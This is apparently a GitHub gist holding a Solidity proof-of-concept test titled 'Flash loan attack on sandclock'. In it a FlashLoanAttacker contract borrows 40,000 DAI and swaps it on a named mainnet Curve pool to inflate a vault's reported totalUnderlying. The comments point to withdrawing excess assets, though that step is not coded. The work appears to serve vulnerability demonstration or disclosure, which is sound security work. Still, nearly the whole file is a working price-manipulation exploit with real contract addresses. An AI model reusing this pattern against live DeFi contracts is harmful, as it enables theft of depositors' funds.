Skip to content

Instantly share code, notes, and snippets.

@CamdenClark
Created January 6, 2022 09:11
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 2 You must be signed in to fork a gist
  • Save CamdenClark/932d5fbeecb963d0917cb1321f754132 to your computer and use it in GitHub Desktop.
Save CamdenClark/932d5fbeecb963d0917cb1321f754132 to your computer and use it in GitHub Desktop.
Flash loan attack on sandclock
// SPDX-License-Identifier: Unlicense
pragma solidity 0.8.10;
import "ds-test/test.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "../Vault.sol";
import "../strategy/NonUSTStrategy.sol";
import "../strategy/anchor/IEthAnchorRouter.sol";
import "../strategy/anchor/IExchangeRateFeeder.sol";
import "../strategy/curve/ICurve.sol";
import "../mock/MockERC20.sol";
import "../mock/MockEthAnchorRouter.sol";
import "../mock/MockExchangeRateFeeder.sol";
import "./interfaces/IERC3156FlashBorrower.sol";
import "./interfaces/IERC3156FlashLender.sol";
contract FlashLoanAttacker is IERC3156FlashBorrower, DSTest {
IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 ust = IERC20(0xa47c8bf37f92aBed4A126BDA807A7b7498661acD);
ICurve curvePool = ICurve(0x890f4e345B1dAED0367A877a1612f86A1f86985f);
IERC3156FlashLender lender = IERC3156FlashLender(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853);
Vault vault;
uint256 flashLoanAmount = 40000 ether;
constructor(Vault _vault) {
vault = _vault;
}
function flashBorrow() public {
// This just sets up the repayment of the flash loan
uint256 _allowance = dai.allowance(address(this), address(lender));
uint256 _fee = lender.flashFee(address(dai), flashLoanAmount);
uint256 _repayment = flashLoanAmount + _fee;
dai.approve(address(lender), _allowance + _repayment);
// Here's where we trigger the flash loan.
lender.flashLoan(this, address(dai), flashLoanAmount, "");
// See onFlashLoan
}
function onFlashLoan(
address initiator,
address token,
uint amount,
uint fee,
bytes calldata data
) external override returns (bytes32) {
// Baseline total underlying
emit log_uint(vault.totalUnderlying());
// We exchange a ton of dai for ust, causing a significant
// change in their curve exchange rate
dai.approve(address(curvePool), flashLoanAmount);
curvePool.exchange_underlying(1, 0, flashLoanAmount, 0);
// Significantly higher! We could do a lot of nasty things here: withdraw
// more assets than we should be at a "real" exchange rate
emit log_uint(vault.totalUnderlying());
// Transfer back
ust.approve(address(curvePool), flashLoanAmount);
curvePool.exchange_underlying(0, 1, flashLoanAmount - (flashLoanAmount / 100), 0);
return keccak256("ERC3156FlashBorrower.onFlashLoan");
}
}
interface Vm {
// Performs the next smart contract call with specified `msg.sender`, (newSender)
function prank(address) external;
}
contract FlashLoanTest is DSTest {
IERC20 dai = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
IERC20 ust = IERC20(0xa47c8bf37f92aBed4A126BDA807A7b7498661acD);
IERC20 aust = new MockERC20(10000 ether);
ICurve curvePool = ICurve(0x890f4e345B1dAED0367A877a1612f86A1f86985f);
IERC3156FlashLender lender = IERC3156FlashLender(0x1EB4CF3A948E7D72A198fe073cCb8C7a948cD853);
Vm vm = Vm(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
}
function testExample() public {
Vault vault = new Vault(dai, 100, 0, address(this));
IEthAnchorRouter ethAnchorRouter = new MockEthAnchorRouter(ust, aust);
MockExchangeRateFeeder mockExchangeRateFeeder = new MockExchangeRateFeeder();
mockExchangeRateFeeder.setExchangeRate(1e18);
NonUSTStrategy strategy = new NonUSTStrategy(address(vault),
address(0),
address(ethAnchorRouter),
address(mockExchangeRateFeeder),
ust,
aust,
0,
address(this),
address(curvePool),
1,
0);
vault.setStrategy(address(strategy));
// All the setup above just establishes that we create a vault with DAI underlying
FlashLoanAttacker attacker = new FlashLoanAttacker(vault);
// Mock add some DAI to our attacker.
vm.prank(0x075e72a5eDf65F0A5f44699c7654C1a76941Ddc8);
dai.transfer(address(attacker), 1000 ether);
// We transfer our "aust" token to the strategy as a mock investment
// The amount that the strategy contract thinks is invested will be
// manipulated using a flash loan.
aust.transfer(address(strategy), 1000 ether);
// Now, we trigger a flash loan.
attacker.flashBorrow();
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment